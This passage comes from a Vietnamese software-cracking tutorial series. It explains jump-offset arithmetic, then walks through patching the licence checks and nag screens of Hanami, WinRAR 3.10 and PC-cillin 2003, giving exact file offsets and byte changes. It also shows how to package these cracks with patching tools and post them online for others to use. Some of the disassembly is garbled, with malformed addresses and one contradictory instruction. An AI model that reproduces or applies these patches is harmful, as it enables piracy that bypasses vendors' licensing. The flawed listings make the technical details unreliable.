chỉ 40108E. Bạn cần đặt một lệnh nhảy đến địa chỉ 4020D0 tại địa chỉ này&lt;br /&gt;&lt;br /&gt;:40108E JMP 4020D0&lt;br /&gt;&lt;br /&gt;Offset = 4020D0 - [40108E + 5(E9xxxxxxxx có  kích thước 5 byte)] = 103D. Mã máy sẽ là E93D100000, trong đó E9 là mã máy của  JMP và 3D100000 là số xxxxxxxx mà bạn vừa tính được (0000103D viết ngược lại sẽ  là 3D100000)&lt;br /&gt;&lt;br /&gt;b) Bạn cần đặt một lệnh CALL đến địa chỉ 401184 tại địa chỉ  40218B&lt;br /&gt;&lt;br /&gt;:40218B CALL 401184&lt;br /&gt;&lt;br /&gt;Offset = 401184 - [40218B +  5(E8xxxxxxxx có kích thước 5 byte)] = FFFFEFF4. Mã máy sẽ là E8F4EFFFFF, trong  đó E8 là mã máy của CALL và F4EFFFFF là số xxxxxxxx mà bạn vừa tính được  (FFFFEFF4 viết ngược lại sẽ là F4EFFFFF)&lt;br /&gt;&lt;br /&gt;II. Thực hành&lt;br /&gt;&lt;br /&gt;Bạn đã  dùng Notepad! Mỗi lần mở file có kích thước vượt quá 64KB, Notepad sẽ hiển thi  một hộp thông báo "Lỗi: File có kích thước quá lớn. Bạn có muốn dùng WordPad để  đọc file này không?" - Yes | No . Nhiệm vụ của chúng ta là patch file  notepad.exe để mỗi khi mở file có kích thước lớn hơn 64KB nó sẽ không hiển thị  hộp thông báo trên nữa và tự động mở file bằng WordPad cho bạn. Trước khi bắt  đầu mọi việc, bạn hãy sao lưu file notepad.exe trước đề phòng sự cố! Thật ra thì  cũng không cần thiết bởi bạn có thể dùng SFC(System File Checker) của Windows để  restore lại file notepad.exe bất cứ lúc nào. Trong ví dụ này tôi dùng bản  Notepad của Windows98SE.&lt;br /&gt;&lt;br /&gt;1/ Chạy W32Dasm. Sau khi dism file xong, bạn  vào menu Ref/String Data References, tìm dòng String Resource ID=00056:  "wordpad.exe" và double click lên nó. Để xem chúng ta có gì nào?!&lt;br /&gt;&lt;br /&gt;*  Possible Reference to String Resource ID=00036: "&amp;amp;f"&lt;br /&gt;|&lt;br /&gt;:004033A5  6A24 push 00000024 ; rất quan trọng&lt;br /&gt;:004033A7 A1B4504000 mov eax, dword ptr  [004050B4]&lt;br /&gt;:004033AC 56 push esi&lt;br /&gt;:004033AD 50 push eax&lt;br /&gt;:004033AE  FF7508 push [ebp+08]&lt;br /&gt;&lt;br /&gt;* Reference To: USER32.MessageBoxA, Ord:01ACh&lt;br /&gt;|&lt;br /&gt;:004033B1 FF15A8644000 Call dword ptr [004064A8] ; hiện messagebox&lt;br /&gt;:004033B7 83F806 cmp eax, 00000006 ; đã chọn YES hay NO? (IDYES=6)&lt;br /&gt;:004033BA 0F85A7000000 jne 00403467 ; NO -&gt; thoát&lt;br /&gt;:004033C0  6804010000 push 00000104 ; YES -&gt; mở file bằng WordPad&lt;br /&gt;:004033C5  8D858CFDFFFF lea eax, dword ptr [ebp+FFFFFD8C]&lt;br /&gt;:004033CB 837D1001 cmp dword  ptr [ebp+10], 00000001&lt;br /&gt;:004033CF 1BFF sbb edi, edi&lt;br /&gt;:004033D1 50 push eax&lt;br /&gt;:004033D2 83C737 add edi, 00000037&lt;br /&gt;&lt;br /&gt;* Possible Reference to String  Resource ID=00056: "wordpad.exe"&lt;br /&gt;|&lt;br /&gt;:004033D5 6A38 push 00000038&lt;br /&gt;:004033D7 FF3540554000 push dword ptr [00405540]&lt;br /&gt;Chúng ta chỉ cần thay  PUSH 00000024 tại địa chỉ 4033A5 thành lệnh nhảy ngắn đến địa chỉ 4033C5. Mã máy  của short jump là EBxx. May mắn là kích thước của short jump này là 2 byte, đúng  bằng kích thước của câu lệnh PUSH 00000024 tại địa chỉ 4033A5 (6A24)! Áp dụng  công thức tính offset ở trên, xx = 4033C0(địa chỉ đến) - [4033C5(địa chỉ jump) +  2 (kích thước của short jump EBxx)] = 19. Okay, mã máy sẽ là EB19!&lt;br /&gt;&lt;br /&gt;6A24  PUSH 00000024&lt;br /&gt;EB19 JMP 004033C0&lt;br /&gt;&lt;br /&gt;2/ Chạy Hiew và mở file notepad.exe.  Nhấn F4, F5 và nhập vào ".4033A5". Nhấn F3 và thay đổi 6A24 thành EB19, sau đó  bấm F9 và F10. Xong, thử chạy lại Notepad và mở một file có kíck thước lớn hơn  64KB xem sao!&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;II. Thực hành&lt;br /&gt;&lt;br /&gt;Vì phần lý thuyết có lẽ khá phức tạp đốI vớI các  bạn newbie, nên trong phần thực hành chúng ta sẽ giảI trí vớI phần một phần mềm  khá nổI tiếng của hãng EURONET đó là phần mềm Hanami…Một phần mềm trang trí cho  desktop…Nó làm một cây anh đào ngay trên desktop, sao đó những cách hoa đào sẽ  rơi nhè nhẹ xuống thanh taskbar…Lâu lâu lạI có một cơn gió thổI qua làm nhưng  cánh hoa đào cuốn theo chiều gió bay thật đẹp…&lt;br /&gt;&lt;br /&gt;Đẹp thì có đẹp đó…Nhưng  “thằng Hanami” này bắt bạn phảI đăng ký…Nếu bạn không đăng ký thì mỗI lần bạn  chạy chương trình nó sẽ đập vào mặt bạn một cái nag “ Not registered…hanami is  shareware….” thật bực mình…Dĩ nhiên là bạn không muốn cái nag đó hiện ra chứ  gì…Đúng vậy…Nhu cầu bức thiết là chúng ta phảI crack nó…Ok Sau khi tảI về (từ  site euronet), bạn cài đặt, copy một bản hanami.exe ra dự phòng, rủI làm bậy còn  có cái mà backup lại…Okie chúng ta bắt đấu crack nó.&lt;br /&gt;&lt;br /&gt;Phần mềm : Hanami  (&lt;a href="http://www.euronet.nl/%7Erja/Hanami/" target="_blank"&gt;&lt;span class="link"&gt;http://www.euronet.nl/~rja/Hanami/&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;Công cụ : Windasm,  Hiew&lt;br /&gt;Cracker : hacnho&lt;br /&gt;&lt;br /&gt;Đầu tiên bạn chạy hanami, một cái nag “ Not  registered…hanami is shareware….” Văng ra, bạn hãy nhớ dòng “…shareware”, click  ok…Sau đó bạn vào bạn click vào nút lệnh (command button) “ Register…”, một cái  nag khác văng ra bắt bạn nhập vào “ your name”, “keyword”, “Registration Code”&lt;br /&gt;&lt;br /&gt;…He he bạn đừng tưởng bở là “ cái “ keyword” không có tác dụng nhe…Tuy  phần mềm rất nhỏ nhưng tác giả lạI đặt một cơ chế tạo key phức tạp nhiêu khê…Nếu  dùng SoftIce để tìm số code thì hơi lâu…Nên tôi dùng phương pháp đơn giản là  patch nó&lt;br /&gt;&lt;br /&gt;hãy nhập vào tên, keyword và Registration Code. Ở đây tôi nhập  vào&lt;br /&gt;&lt;br /&gt;Your name : hacnho&lt;br /&gt;Keyword :123456&lt;br /&gt;Registration Code: abcdef&lt;br /&gt;&lt;br /&gt;Enter, oh la la một nag văng ra “ Error…The registration code entered is  incorect”…Ok hãy nhớ lấy nó, bạn hãy thoát hanami.&lt;br /&gt;&lt;br /&gt;Bây giờ chúng ta mở  WDASM lên, chọn file Hanami.exe…chờ WDASM disassembly xong bạn vào menu Refs,  chọn String Data References, kiếm cho ra dòng “The registration code entered”,  double click vào nó hai lần…Bạn trở lạI màn hình của nhìn xem chúng ta đang ở  đâu…bạn sẽ thấy như thế này:&lt;br /&gt;&lt;br /&gt;* Possible String Ref from Data Obj  --&gt;"The registration code entered"&lt;br /&gt;--&gt;"is incorect"&lt;br /&gt;&lt;br /&gt;:0040886C  68E8424100 push 004142E8&lt;br /&gt;:00408871 8B4D08 mov ecx, dword ptr [ebp+08]&lt;br /&gt;:00408874 51 push ecx&lt;br /&gt;&lt;br /&gt;* Refenrence To: USER32.MessageBoxA, Ord  :01BEh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:00408875 FF1534124100 Call dword ptr [00411234]&lt;br /&gt;:0040887B EB5A jmp 004088D7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Bây giờ bạn thấy vệt sáng đang ở tại&lt;br /&gt;:0040886C 68E8424100 push 004142E8&lt;br /&gt;hãy dịch chuyển vệt sáng lên trên vài  dòng bạn sẽ thấy như sau&lt;br /&gt;&lt;br /&gt;*. Possible String Data Ref from Data Obj  --&gt; " "&lt;br /&gt;:0040884F 68B0384100 push 004142E0&lt;br /&gt;:00408854 E827140000 call  00409C80&lt;br /&gt;:00408859 83C408 add esp, 00000008&lt;br /&gt;:0040885C E828FEFFFF call  0040869 --&gt; gọi thông báo đăng ký&lt;br /&gt;:00408861 85C0 test eax, eax --&gt;kiểm  tra số code&lt;br /&gt;:00408863 7518 jne 0040887D--&gt; nhảy nếu sai (chổ cần crack,  nhớ lấy)&lt;br /&gt;:00408865 6A00 push 0000000&lt;br /&gt;&lt;br /&gt;đưa vệt sáng đến dòng :00408863  7518 jne 0040887D, nhìn xuống thanh task bar thấy offset là : 00008863 (1)&lt;br /&gt;&lt;br /&gt;Trở lại bảng menu Refs, chọn String Data References, bạn tìm dòng "  Hanami is a shareware program", double click...Chúng ta lại ra ngoài, Bạn sẽ  thấy như sau&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Possible String Ref from Data Obj --&gt;" Hanami is a  shareware program"&lt;br /&gt;:004014DE 68583F4100 push 00412F58 --&gt;bạn đang ở đây&lt;br /&gt;:004014E3 A1CC584100 mov eax, đwor ptr [004158CC]&lt;br /&gt;:004014E8 50 push eax&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;* Refenrence To: USER32.MessageBoxA, Ord :01BEh&lt;br /&gt;&lt;br /&gt;:004014E9  FF1534124100 call dword ptr [004011234]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;hãy dịch chuyển lên và dòng,  bạn thấy&lt;br /&gt;&lt;br /&gt;*. Referenced by a (U)nconditional or ©onditional Jump at  Address:&lt;br /&gt;|:004014B4©&lt;br /&gt;|&lt;br /&gt;:004014CE 833DF053410000 cmp dword ptr  [0040153F0], 00000000&lt;br /&gt;:0040014D5 7518 jne 004014EF --&gt; nhảy nag "Not  Registered Yet", cần crack&lt;br /&gt;:004014D7 6A00 push 00000000&lt;br /&gt;&lt;br /&gt;*.* Possible  String Ref from Data Obj --&gt;"Not Registered Yet"&lt;br /&gt;:004014D9 push 00413F44&lt;br /&gt;&lt;br /&gt;bạn hãy di chuyển vệt sáng đến dòng :0040014D5 7518 jne 004014EF, nhìn  xuống task bar, thấy offset là 000014D5 (2)&lt;br /&gt;&lt;br /&gt;***từ (1) và (2) ta có hai  địa chỉ offset là 00008863 , và 000014D5, do jne nghĩa là nhảy nếu không bằng,  từ là bạn nhập sai thì sẽ nhảy tới thông báo sai, do đó ta cần crack ở chổ đổi  cho nó dù nhập sai thì sẽ không nhảy...vậy thì ta chỉ cần đổi jne thành je ( 75  thành 74)&lt;br /&gt;&lt;br /&gt;Ok bây giờ bạn hãy ghi lại hai offset trên, mở Hiew, mở file  hanami.exe lên&lt;br /&gt;&lt;br /&gt;Gõ F5, nhập 00008863, gõ F3, sửa 75 thành 74, gõ F9&lt;br /&gt;Gõ F5, nhập 000014D5, gõ F3, sửa 75 thành 74, gõ F9, gõ F10&lt;br /&gt;&lt;br /&gt;Okie bây  giờ bạn ở Hanami lại xem, bạn sẽ thích ngay mà ha ha ha&lt;br /&gt;-----------------&lt;br /&gt;bài viết của hacnho (vui lòng để lại dòng này khi bạn trích dẫn--thanx a  lot)&lt;br /&gt;-------------------&lt;br /&gt;&lt;br /&gt;trong phần 6 tôi sẽ hướng dẫn các bạn dùng  các công cụ crack engine như file patcher 2002, và đặc biết là crack engine của  anh Lê Vũ Hoàng,&lt;br /&gt;**************************************:&lt;br /&gt;Phần VI&lt;br /&gt;&lt;br /&gt;Chào các bạn hôm nay tôi sẽ hướng dẫn các bạn khái niệm về sử dụng các  công cụ dùng để patch. Cụ thể là ba công cụ File Patcher 4.0 của Moose's  Shareware &amp;amp; Emulation Valley và hai công cụ Crack engine và Patch Generator  của Lê Vũ Hoàng Những khái niệm này có lẽ rất sơ sài nhưng các bạn hãy xem qua  rồI từ đó khám phá ra nhiều loạI khác …&lt;br /&gt;&lt;br /&gt;Chú ý: trong bài viết này tôi có  tham khảo bài viết của anh Lê Vũ Hoàng trong phần hướng dẫn PG và CE—thanx for  support&lt;br /&gt;Đầu tiên chúng ta phảI crack một phầm mềm cái đã…Tôi chọn soft xấu  số để trảm thủ hôm nay là Winrar 3.10 (hiện giờ đã có ver 3.20 cũng crack tương  tự)…&lt;br /&gt;&lt;br /&gt;Phần mềm :Winrar 3.10&lt;br /&gt;Công cụ :WDASM 893, HIEWS 602&lt;br /&gt;Cracker  :hacnho&lt;br /&gt;&lt;br /&gt;Hẳn trong các bạn ai dùng qua máy tính đều biết Winrar…một tiện  ích nén vào bung nén hỗ trợ nhiều dạng file…Nhưng nó không cho xài miễn phí. Sau  khi setup bạn mở Winrar ra, đầu tiên bạn thấy trên dòng Title của Winrar có chữ  "evaluation copy", nhớ lấy nó…Chỉnh đồng hồ hệ thống bạn qua vài ngày, bạn sẽ  thấy dòng chữ "only %d days left to buy a license", vào menu help vào about bạn  thấy dòng chữ “40 day trial copy”…Tiếp tục chỉnh đồng hồ hệ thống sang 2 tháng  tiếp theo, mở lạI winrar, bạn sẽ bị một cái nag “yêu cầu đăng ký” đập vào mặt…&lt;br /&gt;Ok hãy nhớ lấy những điều trên…Như thường lệ chúng ta vào menu Help kiếm  dòng Enter Registration Code…Oh la la không có dòng đó…Chẳng lẽ chúng ta đành  chịu chết hay sao…Không đâu cứ bình tĩnh mà run&lt;br /&gt;&lt;br /&gt;- chạy W32Dasm, mở file  WinRAR.exe&lt;br /&gt;- vào menu Refs/String Data References, tìm dòng "evaluation  copy" và double click lên nó. Di chuyển con trỏ lên một đoạn bạn sẽ thấy đoạn  lệnh sau:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;...&lt;br /&gt;:00445B3C 757A jne 00445BB8 (dòng này rất quan  trọng) &lt;-- bạn đang ở đây :00445B3E A17C874A00 mov eax, dword ptr  [004A877C] :00445B43 83F814 cmp eax, 00000014 :00445B46 7C05 jl 00445D4B  :00445B48 83F828 cmp eax, 00000028 :00445B4B 7C1D jl 00445B6A …   Dòng ":00445B3C 757A jne 00445BB8 " sẽ kiểm tra WinRAR đã được đăng kí  hay chưa. Nếu chưa đăng kí nó sẽ thay đổi caption thành dòng "evaluation  copy"(bản dùng thử) trong phạm vi 40 ngày, ngược lại nó sẽ đổi caption thành  dòng "only 'xyz' days left to buy a license"(đã quá hạn dùng thử 'xyz' ngày) nếu  bạn đã xài quá 40 ngày. ở đây, chúng ta chỉ cần thay dổi jne 00445BB8 thành je  00445BB8 là WinRAR sẽ jump over 'thay đổi caption'  - bạn vẫn đang đứng  tại dòng ":00445B3C 757A jne 00445BB8 ", hãy để ý đến thanh trạng thái ở  phía dưới:  Line:125681 Pg 1429 of 3117 Code Data @:00445B3C @Offset  0004513Ch in File WinRAR.exe  0004513Ch chính là file offset, còn  00445B3C chỉ là địa chỉ ảo - Virtual Address(VA=Imagebase+RVA). Hãy ghi nhớ  con số này.  ----Ok bây giờ chúng ta tiếp tục xử lý đến cái nag bắt đăng  ký ấy  -Vào menu Refs/String Data References, tìm dòng "REMINDER" và nhắp  đôi lên nó (nhớ chỉ double một lần thôi nhe, vì nó có hai đoạn code tương ứng.  Di chuyển con trỏ lên một đoạn bạn sẽ thấy đoạn lệnh sau:  ...  *  Referenced by a (U)nconditional or ©onditional Jump at Address: |:0043B57F©  | :0043BAE2 833D487E4A0000 cmp dword ptr [004A7A48], 000000000  :0043BAE9 754D jne 0043BB38 (dòng này rất quan trọng) &lt;- bạn đang ở đây  :0043BAEB 803D98F1480000 cmp dword ptr [0048F198],00 :0043BAF2 7544 jne  0043BB38 ...  Dòng ":0043BAE9 754D jne 0043BB38 " sẽ kiểm tra WinRAR  đã được đăng kí hay chưa. Nếu chưa đăng kí nó sẽ pop một nagscreen yêu cầu bạn  đăng kí, sau đó sẽ nhảy đến lệnh tiếp theo tại địa chỉ 0043BB38. ở đây, chúng ta  chỉ cần thay dổi jne 0043BB38 thành jne 0043BB38 là xong!  - bạn vẫn đang  đứng tại dòng ":0043BAE9 754D jne 0043BB38 ", hãy để ý đến thanh trạng thái ở  phía dưới:  Line:170442 Pg 1221 and 1222 of 3117 Code Data @:0043BAE9  @Offset 0003B0E9h in File WinRAR.exe  0003B0E9h chính là file offset của  câu lệnh jne 0043BB38. Hãy ghi nhớ con số này.  Ok, còn một vấn đề nữa đó  là chúng ta khi vào Help, about trong winrar thì thấy dòng 40 day trial copy,  rất đáng ghét…Ok hãy vào - vào menu Refs/String Data References, tìm dòng  "Registered to" và double click 1 lầm duy nhất lên nó. Di chuyển con trỏ lên một  đoạn bạn sẽ thấy đoạn lệnh sau:  *.Referenced to :User32.SetDlgItemtextA,  Ord: 0000h :0043EBF1 E818BD0400 Call 0048A90E :0043EBF6 803DC0C71490000  cmp dword ptr [0049710C], 00 :0043EBFD 7449 je 0043EC48 (dòng này rất quan  trọng) &lt;-- bạn đang ở đây :0043EBFF BE086B4900 mov esi, 00496B08  ---  Nhìn xuống task bar thấy dòng chữ sau chữ @offset là 0003E1FD,  ok hãy nhớ nó  ------------------------------------  Trước khi  crack tôi có một đề nghị bạn hãy sao lưu một bản winrar để dành để chúng ta bước  qua phần 2 ----------------------------  Ok bây giờ chúng ta mở  HIEWS602 ra, các bạn mở file Winrar.exe, gõ F5, gõ 0004513C, nhấn F3, sửa 75  thành 74 gõ F5, gõ 0003B0E9, nhấn F3, sửa 75 thành 74 gõ F5, gõ  0003E1FD, nhấn F3, sửa 74 thành 75  sau đó gõ F9, F10…Bây giờ bạn hãy  chạy Winrar xem, bạn sẽ thích ngay mà ha ha ha…Nếu không thích dòng registered  to bạn có thể dùng Reshack sửa lạI thành crack by hacnho© 2003  --------------------------------  Ok bây giờ chúng ta qua phần 2   Hướng dẫn sử dụng File Patcher 4.0 (lên google search)   File  Patcher 4.0 là một công cụ patch trực tiếp không cần dùng đến HIEWS…các dùng rất  dễ…Crack phần mềm cần crack, sau đó tìm ra offset để đổI bytes…Để cho các bạn dễ  hiểu chúng ta lấy Winrar ở trên làm thí dụ…Chúng ta tìm được 3 offset cần đổI  bytes…Như vậy chúng ta cần đổI 3 bytes  1.0004513C từ 75 thành 74  2.0003B0E9 từ 75 thành 74 3.0003E1FD từ 74 thành 75   Ok các  bạn hãy mở notepad lên, sau đó gõ vào  Offset= $0003B0E9: From $75 To $74  Offset= $0004513C: From $75 To $74 Offset= $0003E1FD: From $74 To $75   Sau đó save lạI vớI nộI dung: crack.txt  Mở file patcher4.0 lên   Trong dòng  -File to be patched : tìm file cần crack -File  after patching : save vào file nào (nên đặt là crack.exe) -patch data file:  tìm đến file crack.txt vừa lưu  Xong click process/apply patches   Quá đơn giản phảI không các bạn    &lt;/span&gt;&lt;span class="postbody"&gt;Hướng dẫn sử dụng Cracker Engine ---&lt;br /&gt;&lt;br /&gt;I. Cách dùng  Cracker Engine :&lt;br /&gt;&lt;br /&gt;Cracker Engine là một tool giúp các cracker dễ dàng hơn  trong việc phân phối các bảng crack (bằng Patch) của mình.&lt;br /&gt;&lt;br /&gt;Nếu người  dùng muốn crack một chương trình bằng Cracker Engine, đầu tiên, họ sẽ tải bản  chạy của Cracker Engine (CrackerEngine.EXE) xuống. Kế tiếp, download thêm phần  data chứa các thông tin cần dùng để Cracker Engine có thể thi hành. Ví dụ trên  trang web www27.brinkster.com/levuhoang/ có những data dành cho Cracker Engine  là "DynamicSkinForm 4.61", "Snood 3.0", "Diamond Mind 1.5y"....&lt;br /&gt;&lt;br /&gt;Nếu một  người muốn crack chương trình Snood phiên bản 3.0, anh ta phải trải qua những  bước sau :&lt;br /&gt;&lt;br /&gt;* Download file CrackerEngine.ZIP trên Website về&lt;br /&gt;&lt;br /&gt;*  Download file Snood30.zip trên Website về&lt;br /&gt;&lt;br /&gt;* Bung CrackerEngine.ZIP và  Snood30.ZIP vào cùng thư mục&lt;br /&gt;&lt;br /&gt;* Chạy CrackerEngine để crack Snood 3.0&lt;br /&gt;&lt;br /&gt;Còn nếu một người đã có file CrackerEngine.EXE rồi mà anh ta muốn crack  "Diamond Mind 1.5y" thì anh ta chỉ việc download file DSF461.ZIP trên Website về  và bung vào cùng thư mục với CrackerEngine là xong.&lt;br /&gt;&lt;br /&gt;Các ưu điểm của  CrackerEngine :&lt;br /&gt;&lt;br /&gt;* Data-file nhỏ, nhẹ (vào trăm bytes)&lt;br /&gt;&lt;br /&gt;* Một lần  download CrackerEngine.EXE cho tất cả&lt;br /&gt;&lt;br /&gt;Các khuyết điểm của CrackerEngine  :&lt;br /&gt;&lt;br /&gt;* File CrackerEngine.EXE lớn (nhưng cũng chỉ download 1 lần)&lt;br /&gt;&lt;br /&gt;*  Chỉ dùng được trong các trường hợp cần Patch chương trình.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II.  Cách dùng Patch Generator :&lt;br /&gt;&lt;br /&gt;_ Patch Generator là một công cụ giúp tạo  các file data cho CrackerEngine.&lt;br /&gt;&lt;br /&gt;_ Đầu tiên, cracker giữ 1 bản sao cho  chương trình cần crack.&lt;br /&gt;&lt;br /&gt;_ Tiếp theo, Patch chương trình đó.&lt;br /&gt;&lt;br /&gt;_  Chạy Patch Generator, chọn file gốc và file đã Patch. Lưu ý : Patch Generator sẽ  lấy tên file cần patch theo CrackEd_File. Có nghĩa là nếu tên file đã crack của  bạn tên là gì thì Patch Generator sẽ sử dụng tên đó khi Patch chứ không phải tên  Original.&lt;br /&gt;&lt;br /&gt;_ Gõ vào tên Thư mục mặc định mà chương trình thường Install.&lt;br /&gt;&lt;br /&gt;_ Gõ vào tên Cracker, mail.&lt;br /&gt;&lt;br /&gt;_ Icon cho file Data (được hiện  trong CrackerEngine) sẽ mặc định là icon trong file đã crack. Nếu bạn muốn chọn  một Icon khác thì nhấn vào Custom Icon.&lt;br /&gt;&lt;br /&gt;_ Nhấn Generate để cho ra file  data.&lt;br /&gt;&lt;br /&gt;_ Upload lên Web để mọi người download file này về.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;thế là chúng ta đã đi qua một phần nữa rồI các bạn, hẹn gặp lạI  trong tut sau nhé&lt;br /&gt;*********************************:&lt;br /&gt;Phần VII:&lt;br /&gt;&lt;br /&gt;Rất vui gặp lạI các bạn…Hôm nay chúng ta gặp nhau ở phần 7 này, để tiếp  tục nâng cao tay nghề crack của các bạn hôm nay tôi sẽ hướng dẫn các bạn tập  crack một số chương trình mớI nhất:&lt;br /&gt;&lt;br /&gt;1. PC-cillin 2003 : Chương trình  diệt virus khá lợI hạI, đang làm mưa làm gió cùng NAV, McAffe v..vv&lt;br /&gt;2. 123  Icon Hunter v1-0-Full : Chương trình tìm các file *.ico&lt;br /&gt;3. IncrediMail 934 :  Chương trình duyệt mail khá bắt mắt vớI giao diện 3D…&lt;br /&gt;&lt;br /&gt;Cũng xin nói thêm  rằng bắt đầu từ hôm nay tôi sẽ không còn hướng dẫn các bạn một cách cặn kẽ nữa  mà tôi chỉ nói rẩt vắn tắt chủ yếu đưa ra dạng, nơi cần crack, Sau 6 phần mà tôi  đã hướng dẫn ở trên các bạn đã biết cách để crack…Nếu tôi tiếp tục hướng dẫn cụ  thể nữa thì các bạn sẽ rất lệ thuộc vào tôi. Vì sao? Vì chỉ phần mềm nào tôi có  hướng dẫn các bạn mớI crack được, còn không hướng dẫn thì các bạn sẽ không biết  làm…&lt;br /&gt;Từ phần 7 này, trong mỗI bài viết tôi sẽ hướng dẫn các bạn crack một  hay hai phần mềm. Trong đó có một phần mềm cũ và một phần mềm mớI nhất…Đồng thờI  cuốI bài viết tôi sẽ đưa ra một phần mềm để chúng ta cùng thảo luận cách crack,  các bạn sẽ tìm ra cách crack cho mình và post lên…GiảI thưởng là…kiến thức cho  bạn he he…Nếu các bạn không tìm ra cách crack thì tôi sẽ hướng dẫn…Nhưng xin nhớ  cho rằng các bạn nên tự tập crack, đừng chờ lờI giảI đáp của tôi…Mong rằng các  bạn sẽ tham gia nhiệt tình&lt;br /&gt;----------------------------------&lt;br /&gt;Ok, chúng  ta bắt đầu vào crack…Tuy nhiên tôi muốn nhắn vớI các bạn rằng, tât cả bài viết  của tôi đều do tôi bỏ công sức ra viết dựa trên kinh nghiệm thực tiễn mà tôi đúc  kết được, mục đích là đem lạI kiến thức cho mọI ngườI cho nên các bạn có thể phổ  biến bài viết của tôi nhưng xin các bạn vui lòng ghi lạI dòng “ bài viết của  hacnho”…Chân thành cảm ơn các bạn&lt;br /&gt;-------------------&lt;br /&gt;Now, chúng ta sẽ  cẩu đầu trảm phần mềm PC-cillin 2003, do tôi mớI tảI nó về trên mạng và đang bận  thi cử nên không có thờI gian để chỉ các bạn dùng softIce để tìm real serial vớI  lạI rất khó cho các bạn newbie vì dãy số serial là một dãy giống như CD key của  Window…Nên tôi chọn các đơn giản nhất là patch nó.&lt;br /&gt;&lt;br /&gt;Phần mềm : PC-cillin  2003&lt;br /&gt;Download: www.trendmicro.com&lt;br /&gt;File cần crack: PCCClient.exe&lt;br /&gt;Công  cụ : WinDasm 893, Hacker Views 640&lt;br /&gt;Cracker: hacnho (&lt;a href="http://www.vietcracks.com/" target="_blank"&gt;&lt;span class="link"&gt;www.vietcracks.com&lt;/span&gt;&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Đầu tiên chúng ta cài đặt  PC-cillin 2003, sau khi cài đặt xong PC-cillin 2003 sẽ bắn cho bạn một cái nag  yêu cầu đăng ký, sau đó bạn vào phần main của PC-cillin 2003, chọn tag Register,  nó yêu cầu bạn nhập vào một dãy số serial, và một số license code…&lt;br /&gt;&lt;br /&gt;Sau  một hồI đánh vật vớI PC-cillin 2003, tôi tìm ra được phần quyểt định số phận của  PC-cillin 2003 (bắt bạn đăng ký và hiện ra cái nag “30 days Trial” là ở file  PCCClient.exe…)he he sao mà tui phục tui quá ke ke…Do tôi đang xài Win2000 nên  để disable PCCClient.exe tôi chọn task manager, chọn End process file  PCCClient.exe, copy nó ra một bản dự phòng, ok dùng WDASM 893 mở file  PCCClient.exe lên, oh la la…tìm đến dòng “Your lincese has expired…” Double  click vào nó ta thấy:&lt;br /&gt;&lt;br /&gt;*Possible Referenced to String Resource ID=00129  “Your lincese has expired…”&lt;br /&gt;&lt;br /&gt;:0040830C 6881000000 push 00000081&lt;br /&gt;:00408311 8D8DE4FEFFFF lea ecx, dword ptr [ebp+FFFFFEE4]&lt;br /&gt;:00408317  E873AD0200 call 0043308F&lt;br /&gt;:0040831C 6A10 push 00000010&lt;br /&gt;&lt;br /&gt;di chuyển vệt  sáng lên vài chục dòng tớI dòng&lt;br /&gt;&lt;br /&gt;:0040828D 7446 je 004082D5&lt;br /&gt;&lt;br /&gt;bạn  sẽ thấy&lt;br /&gt;&lt;br /&gt;*Possible Referenced to String Resource ID=57351 “Trend Micro  Pc-Cillin”&lt;br /&gt;&lt;br /&gt;:00408254 6807E000000 push 0000E007&lt;br /&gt;:00408259 8D4DF0 lea  ecx dword ptr [ebp-10]&lt;br /&gt;----&lt;br /&gt;:00408286 838DB8FEFFFF64 cmp dword ptr [ebp  + FFFFFEB8], 00000064&lt;br /&gt;:0040828D 7446 je 004082D5 --&gt; cần crack&lt;br /&gt;&lt;br /&gt;Okie, chỗ ta cần crack ở đây là đổI thành EB…Nhớ đừng đổI thành JNE là  die luôn đó hé hé&lt;br /&gt;&lt;br /&gt;Tương tự chúng ta cũng tìm được hai offset cần crack  nữa là&lt;br /&gt;00008D04 và 00008D38…Do đâu mà tôi tìm được, câu tả lờI dành cho bạn  đó..Tìm được rồI làm thế nào? Đơn giản thôi,&lt;br /&gt;&lt;br /&gt;00008D04 từ 75 đổi thành EB&lt;br /&gt;00008D38 từ 74 đổi thành EB&lt;br /&gt;&lt;br /&gt;****Tổng kết lạI chúng ta có 3 bytes cần  crack như sau&lt;br /&gt;&lt;br /&gt;0000828d từ 74 đổi thành EB&lt;br /&gt;00008D04 từ 75 đổi thành  EB&lt;br /&gt;00008D38 từ 74 đổi thành EB&lt;br /&gt;&lt;br /&gt;Ok, dùng HIEWS để đổI lạI như  trên…Bây giờ bạn hãy Enable PCCClient.exe lạI, Uh lạ quá sao mà nó vẫn hiện cái  nag ra thể, tôi đã sai ở chỗ nào ặc ặc…Nếu bạn không tư duy một chút cứ nghĩ là  chỉ cần đổI 3 bytes ở trên là xong, không dễ xơi như thế đâu, chúng ta crack  file PCCClient.exe ở trên chỉ là để cho Pc-cillin chấp nhận ta thay đổI file reg  của nó thôi he he…Bây giờ tôi vào phần chính đây…Khi bạn cài đặt PC-Cillin 20003  thì nó sẽ tạo trong registry của bạn những key&lt;br /&gt;&lt;br /&gt;1.  HKEY_LOCAL_MACHINE\Software\TrendMicro\Cfw&lt;br /&gt;2.  HKEY_LOCAL_MACHINE\Software\TrendMicro\FireWall&lt;br /&gt;3.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Config&lt;br /&gt;4.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Exception&lt;br /&gt;5.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\FireWall&lt;br /&gt;6.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Intelligent&lt;br /&gt;7.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\MailScan&lt;br /&gt;8.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\ManualScan&lt;br /&gt;9.HKEY_LOCAL_MACHINE\Software\TrendMicro\PC-cillin\Menu&lt;br 